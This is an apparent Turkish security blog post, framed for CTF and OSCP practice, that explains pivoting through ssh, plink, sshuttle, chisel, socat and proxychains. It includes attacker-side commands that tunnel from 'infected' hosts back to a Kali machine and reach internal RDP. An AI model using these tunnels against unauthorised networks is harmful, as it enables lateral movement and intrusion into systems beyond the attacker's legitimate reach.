PIVOTING & PORT FORWARDING & PROXY

Sergen can
9 min readSep 9, 2023

--

PROXY

Proxy, bir istemcinin farklı sunucular üzerinden “vekil” kavramı ile başka sunuculara bağlanmasını sağlar. Örneğin kendi erişimimiz olmayan Sergen bilgisayarına Can’ın erişimi var diye düşünelim, bu durumda benim eğer Can’a erişimim var ise Sergene, Can’ı kullanarak ulaşabilirim, yani vekil olarak canı kullanmış olurum.

Yukarıda gördüğünüz resimde bir istemci bir sunucuya ulaşırken önce bir proxy sunucusuna gidiyor ve bu proxy sunucusu üzerinden gitmek istediği sunucuya ulaşıyor. Çok fazla proxy aynı anda kullanılabilir, yani on tane proxy kullanarak gizlilik daha da arttırılabilir çünkü her sunucu sadece kendinden bir öncekinin IP adresini bilebilir, buna proxychain denir. Birden fazla proxy’nin zincirleme bir şekilde kullanılması ile ortaya çıkar.

PORT FORWARDING

Port Forwarding kavramı isminden de anlaşılacağı gibi bir port yönlendirmesi işlemidir. Örneğin Sergen bilgisayarının 50. portunu kendi local bilgisayarımda bulunan 30. porta yönlendirirsem eğer kendi localhostumun 30. portunda, Sergen bilgisayarının 50. portunda ne varsa o gösterilecektir. Bu işlem Remote veya Local olarak yapılabilir.

KULLANILACAK ARAÇLAR

  1. proxychains
  2. ssh
  3. socat
  4. plink.exe
  5. sshuttle
  6. chisel

SENARYO

A MAKİNESI > 10.10.1.2

B MAKİNESI > 10.10.1.3

Saldırgan A makinesinde bir Shell’e sahip fakat B ile iletişimi yok. A’nın B ile iletişimi var.

Yukarıdaki senaryo tüm araçlar için kullanılacaktır.

SSH PORT FORWARDING

SSH ile bir bilgisayara bağlanabildiğimiz gibi port forwarding işlemi de yapabiliriz. Bu işlem senaryomuza göre şöyle gerçekleşir; A bilgisayarının, B bilgisayarının 50. portu ile bir iletişimi var fakat saldırganın B bilgisayarı ile herhangi bir iletişimi yok.

SSH LOCAL PORT FORWARDING

Aşağıda bulunan komutu inceleyelim.

ssh -L 9999:10.10.1.3:50 root@10.10.1.2

Bu komutun meali ve okunuşu şu şekildedir, size de bunu böyle okumanızı tavsiye ederim;

SSH kullanarak, root kullancısı ile 10.10.1.2 bilgisayarına giriş yap ve burada iletişimim olan 10.10.1.3 ip adresinin 50. portundaki verileri, -L (local) kullanarak bu komutun yazıldığı istemcideki 9999 portuna yönlendir anlamına gelir.

NOT: Yukarıdaki ok işaretini veri akışı değil, bağlantı olarak düşünün. Veri akışı tam ters yönde olacaktır. B’nin 50. portundaki veriler Sergen bilgisayarının 9999 portuna yansıtılacaktır.

NOT: SSH komutunun local olarak işaretlediğim kısmı komutun yazıldığı yerdeki(istemci) bağlantılar üzerindeki portu ve ip adresini, Target olarak belirttiğim kısım ise SSH sunucusunun üzerinde bulunan bağlantılar üzerinden yönlendirilecek olan ip ve portu belirtir.

REMOTE PORT FORWARDING

ssh -R 9999:10.10.1.3:50 root@10.10.1.1

Şimdi ise -R (remote) olanı inceleyelim. Yukarıda anlattığım üzere -L parametresi uzaktaki bir portun üzerindeki verileri komutun yazıldığı yerde bulunan porta yönlendirme yapmamızı sağlıyordu. Bunun tam tersi olan -R ise uzaktaki bir porta komutun yazıldığı makine üstünde bulunan bir iletişimin içindeki veriyi yönlendirmemizi sağlar.

Remote yönlendirme komutunun meali ve okunuşu şu şekildedir;

SSH kullanarak root kullanıcısı ile 10.10.1.1 makinesine giriş yap ve bu komutun yazıldığı makinenin 10.10.1.3:50 ile olan iletişiminde bulunan verileri, 10.10.1.1 makinesinin 9999. portuna yönlendir. Bu işlem daha çok hedef makinede gerçekleştirilir. Burada amacımız hedef makinede bu komutu çalıştırarak onun iletşimde olduğu verileri kendimize çekmektir. Aslında bu komutu yazdığımız makina ortadaki adam gibi davranır.

NOT: SSH komutunun local olarak işaretlediğim kısmı komutun yazıldığı yerdeki(istemci) bağlantılar üzerindeki portu ve ip adresini, Target olarak belirttiğim kısım ise SSH sunucusunun üzerinde bulunan bağlantılar üzerinden yönlendirilecek olan ip ve portu belirtir.

PRATİK ÖRNEK

Bu örneği bir THM makinesini çözerken aldığım için ip adresleri senaryomuzdan farklı görünebilir.

Bu ağ da 10.200.85.200 makinesine erişimim var fakat 10.200.85.150'ye yok. Burada 10.200.85.200 makinesinin 10.200.85.150 makinesine erişimi olduğunu ve 3389 portunun açık bulunduğunu biliyorum. Bunları kullanarak root kullanıcısı ile 10.200.85.200 makinesine bağlandım ve 10.200.85.200 makinesinin iletişimini kullnarak 10.200.85.150 makinesinin 3389(RDP portu) portunu “-L” parametresi ile kendi 3389 portuma yönlendirdim.

NOT: -i kullanarak id_rsa anahtarı ile bağlandım fakat şifre ile de bağlanılabilirdim kafa karıştırmasın.

Netstat -tunap komutu ile şuan localhostum da 3389 portunun çalıştığını doğruladım.

Şimdi xfreerdp ile daha önceden oluşturduğum kral kullanıcısı ile bağlanma zamanı. Dikkat bağlandığım ip adresi localhost.

Bağlantı gerçekleşti gördüğünüz gibi kendi localhostum üzerinden, ping bile atamadığım 10.200.85.150 makinesine port forwarding ile RDP açtım.

SONUÇ

Biraz kafa karıştırıcı görünebilir fakat olmazsa olmazdır . Kafanızda oturması açısından, -R yani Remote port forward işlemini bind shell’e , -L yani local port forwarding işlemini reverse shell’e benzetebiliriz. Unutmayın bu işlemler çeşitlendirilebilir, örneğin sadece saldıran ve A bilgisayarının bulunduğu bir senaryoda, ip adres kısmına localhost yazılabilir.

PLINK.EXE

PLINK.EXE windows için ssh diyebiliriz. Artık windows makinelerde ssh farklı şekillerde yapıldığından dolayı bu araç çok kullanılmasa da hala yeri geldiğinde güzel iş çıkartabilir. Bu aracın amacı bir windows bilgisayara sızdığımız zaman plink.exe bu windows makineye kurarak ssh -R ile yaptığımız şeyi yapmak. Yani sızdığımız bilgisayarın üzerindeki bir portu farklı bir makinenin portuna yönlendirmek. Tek kullanım amacı aslında windows makinelerdir çünkü aslında yaptığı şey SSH ile aynıdır.

.\plink.exe -R 80:localhost:5555 kali@10.10.1.1

Kullanımı yukarıdaki gibidir. Enfekte ettiğimiz bir windows makinede bunu çalıştırırsak eğer bu Windows makinenin 5555 portundaki verileri 10.10.1.1 makinesine kali kullanıcısı ile girerek onun localhostu’nun 80. portuna aktaracaktır. Dediğim gibi -R yani remote kavramı genelde enfekte ettiğimiz cihazlar üzerinde kullandığımız bir komuttur ve veriyi kendi cihazımıza göndermeye çalışırız.

NOT: Plink.exe id_rsa gibi ssh key dosyaları ile çalışmaz, bu dosyaları puttygen adı verilen bir araç ile .ppk uzantılı bir dosyaya çevirmeniz gerekir.

puttygen id_rsa -o sergen.ppk

SSHUTTLE

Şimdi biraz da sshuttle’a göz atalım. Sshuttle aslında çok büyük bir güçtür. Bu arkadaşın yaptığı şey SSH üzerinden bir proxy oluşturmaktır. Bunu yaparken SSH kullanır fakat yarı port yönlendirme yarı proxy gibidir. sshuttle kullanıldığı zaman hedef olarak verdiğiniz makinenin erişimi olan diğer tüm cihazlara ve onların tüm portlarına erişim sağlayabilirsiniz. Fakat shuttle’ın bazı dezavantajları vardır. Örneğin karşı hedef makinenin Linux olması ve içinde python yüklü olması gibi.

sshuttle -r <kullanıcı>@<hedef ip> <alt ağ maskesi>

sshuttle -r root@10.10.1.2 10.10.1.0/24

Yukarıdaki komut root kullanıcısı ile 10.10.1.2 makinesine gir ve onun kendi alt ağında bulunan tüm makinelere erişim yetkisini bu komutun çalıştırıldığı makieaye ver anlamına gelir.

Yani yukarıdaki komutu kali makinemizde çalıştırdığımız zaman 10.10.1.3'ün bütün portlarına erişim sağlayabiliriz, çünkü belirttiğimiz gibi 10.10.1.2'nin 10.10.1.3'e erişimi vardı. Sadece 10.10.1.3 değil, 10.10.1.2'nin erişimi olan tüm makinelerin portlarına artık erişimimiz var demektir.

Sshuttle, id_rsa gibi dosyaları kullanarak bağlantı sağlama yeteneğine sahip değildir fakat bunu çözmek için şu komut kullanılabilir.

sshuttle -r root@10.10.1.2 10.10.1.0/24 — ssh-cmd “ssh -i id_rsa”

Yukarıdaki görüntü THM üzerinde bulunan bir makineyi çözerken aldığım bir ekran görüntüsü.

CHISEL

Chisel, SSH’a bağlı bir araç değildir. Bu özellik sayesinde SSH olmadan sshuttle gibi proxy, reverse proxy ve aynı zamanda SSH gibi port forwarding yapabilir. Chisel aynı zamanda hem windows hem Linux makinelerde rahatlıkla çalışabilir.

Chisel Port Forwarding

Shuttle SSH kullanmıyor demiştik fakat ssh ile port forwarding yaparken aslında arka planda bir Client-Server ilişkisi yürütülür. Bunu size şöyle anlatabilirim, SSH ile bir port yönlendirmesi yaparken “root@10.10.1.2" gibi bir şey yazıyorduk. Bu yazdığımız komut aslında bir Client komutudur yani istek yapar ve SSH ile bağlantı isteği gönderilir. Eğer karşı tarafta SSH portu açık veya SSH yüklü değilse bağlantı sağlanamaz. Buda bizi ikinci maddemiz olan server terimine götürür. Aslında SSH ile gönderilen istek karşı tarafta otomatik dinlenir ve alınır. Şimdi Chisel ile bunu nasıl yaparız ona bakalım.

NOT: Chisel ile bu işlemleri yaparken aynı zamanda SSH ile arasındaki benzerlikler üzerinden anlatmaya çalışacağım. Chisel’ı hem A makinesine hem de kali makinemize kuruyoruz. Unutmayın Chisel’ın SSH ile alakası yoktur sadece örnekleri SSH üzerinde vererek benzerliklerini anlatmaya çalışıyorum.

A bilgisayarında chisel dinleyicisi başlatmak;

./chisel server -p 4444

Kali makinemizden Chisel ile port forwarding;

./chisel client 10.10.1.2:4444 3333:127.0.0.1:5555

Yukarıda A makinesinde başlattığımız dinleyici aslında SSH ile örnek vermek gerekirse bir bilgisayarın SSH servisinin ve 22. portunun açık olduğu anlamına gelir. Burada biz kendimiz bir dinleyici oluşturduk ve 4444 portunu kullandık.

İkinci olarak Kali makinemiz üzerinde yazdığımız komutun SSH Port yönlendirmesini ne kadar benzediğine bakın. Önce 10.10.1.2:4444 ile A makinesinin 4444 portuna bağlanıyoruz ve onun 127.0.0.1:5555 ile olan iletişimini kendi 3333 portumuza yönlendiriyoruz.

ssh root@10.10.1.2 -L 3333:127.0.0.1:5555

./chisel client 10.10.1.2:4444 3333:127.0.0.1:5555

İki komutun ne kadar benzer olduğuna bakın. Tek fark birinde kullanıcı olarak root kullanılıyor olmasıdır. Fakat bu ssh’ın özelliğidir biz A bilgisayarı üzerinde bir chisel dinleyicisi oluşturduğumuz için kullanıcı adı kullanmıyoruz.

Chisel Proxy

sshuttle ile yapılan proxy’nin aynısını chisel’da yapabilir fakat bu sefer işler biraz farklı olacak. Bunun nedeni sshuttle bunu SSH üzerinden yaptığı için aslında SSH’ın karşı cihazda yüklü olması ve Client-Server ilişkisi yapması gerekir. Chisel SSH kullanmadığı için bu ilişkiyi, karşı bilgisayara ve kendi saldırgan bilgisayarımıza da Chisel kurarak oluşturmalıyız.

Normal bir proxy kullanacağımız için saldırgan makinemiz bağlanan, enfekte olan makinemiz bağlanılan taraf olmalıdır.

A bilgisayarında şu komutu çalıştırarak dinleyici konumuna getirebiliriz;

./chisel server -p 4444 — sock5

Saldıran makinemiz(kali) şunu çalıştırmalıyız;

./chisel client 10.10.1.2:4444 6666:sock5

Yukarıda gördüğümüz gibi Chisel’i enfekte olan makine üzerinde dinleyici olarak kali de ise bağlanan olarak çalıştırdık. A bilgisayarında yazdığımız dinleyici komutunda -p 4444 ile 4444 bağlantı noktasını dinlemesini söyledim. Kali üzerinde yazdığımız komutta ise 10.10.1.2:4444 ile A bilgisayarınun 4444 portuna bağlanmasını söyledim ve daha sonra sock5 ile kalinin 6666. portunda bir proxy oluşturmasını istedim. Artık localimde çalışan bu portu ProxyChains adı verilen aracın .conf dosyasına ekleyip sanki A bilgisayarıymış gibi ağda erişim sağlayabilirim.

Chisel Reverse Proxy

Reverse proxy ise bunun tam tersi olacaktır. Bu sefer dinleyici olan kali ve bağlanan A bilgisayarı olmalıdır.

A bilgisayarında çalıştıracağımız komut şu şekilde olmalıdır;

./chisel client 10.10.1.1:4444 R:socks

Saldıran(kali) makinemizde şu komutu çalıştıralım;

./chisel server -p 4444 — reverse

Yukarıdaki komutlarda önce A makinesi üzerinden kali’nin 4444 portuna bağlanmasını ve bir proxy oluşturmasını istedim. Kali makinesi bu sefer dinleyici konumdaydı ve ona da bu bağlantıyı dinlemesini söyledim.

SOCAT

Bir başka port yönlendirme aracımız olan socat’in çalışma mantığı ise saldırgan ile saldırganın ile B makinesi arasında bulunan A makinesi üzerinde çalışmaktır. Saldırganın B makinesine erişimi yoktur fakat A makinesini enfekte ederek shell almıştır ve A makinesi B ile konuşabiliyordur. Buna göre socat denen araç B makinesi üzerinde çalıştırılır. Kullanımı şu şekildedir.

socat tcp:10.10.1.1:3389 tcp:10.10.1.3:3389

Bu komutu ortadaki sunucuda yürüttük. İlk ip ve port yönlendirilecek yeri ikincisi ise yönlendirilen yeri gösterir. Yani yukarıda benim kali makinemin(10.10.1.1) 3389 portuna 10.10.1.3 makinesinin 3389 portunu yönlendirdim.

Başka bir kullanım ise;

socat tcp-l:3389 tcp:10.10.1.3:3389

Bu komutta ise tcp-l yani local anlamında kullanılarak komutun çalıştırıldığı makinenin 3389 portuna 10.10.1.3 makinesinin 3389 portu iletilir. Ortadaki yani A makinesinde biz komutu çalıştırdığımız için A makinesinin 3389 portuna bağlanarak aslında B makinesinin yani 10.10.1.3 makinesine rdp yapabiliriz.

PROXYCHAINS

Proxychains, proxy zincirleri oluşturup kullanmamıza yarayan bir araçtır. Bu araç sayesinde A ipsinin B. portundan girip C ipsinin D portundan çıkabiliriz ve her proxy server kendinden bir önceki IP adresini bileceği için bize gizlilik sağlamış olur. Bu aracı kullanmak için /etc klasörünün altında bulunan /proxychains4.conf dosyasını düzenlememiz gerekir.

KULLANIMI

/etc/proxychains4.conf dosyasını bir metin editörü ile açtıktan sonra proxy list kısmına(en aşağıya) inelim.

Gördüğümüz gibi burada dört adet protokol kullanabiliyoruz (SOCK4,SOCK5,HTTP,HTTPS). Önce protokol daha sonra proxy sunucusunun ip ve port bilgilerini belirterek zincirin ilk halkasını oluşturabilir ve internette bulunan proxy listelerini burada kullanabiliriz. 127.0.0.1:9050 default olarak gelen Tor’un adresidir, Tor’da bir proxy olduğundan dolayı bunu da kullanabilirsiniz. Bu araca bu makalede yer vermemizin asıl amacı ise CTF’ler ve OSCP gibi sınavlar.

Sınavda bir A makinesi bir B makinesi ve bir de C makinesi verilebilir. Sınavı çözerken A makinesine Shell aldınız ama B ve C makinelerine hiç bir erişiminiz yok, proxychains kullanarak eğer buraya shell aldığınız cihazı eklerseniz ve saldırdığınız bilgisayar üzerinde komutları proxychains ile çalıştırırsanız, kullandığınız komutlar sizin “vekiliniz” olan A bilgisayarı üzerinden gideceği için erişim sağlayabileceksiniz.

ÖRNEK

Bir Nmap taramasını, proxychain4.conf dosyasını düzenledikten sonra proxychains ile çalıştırabiliriz.

proxychains nmap -sS -sV 10.10.1.3

--

--

Sergen can
Sergen can

Written by Sergen can

CyberSecurity | CPTS | PJPT |

No responses yet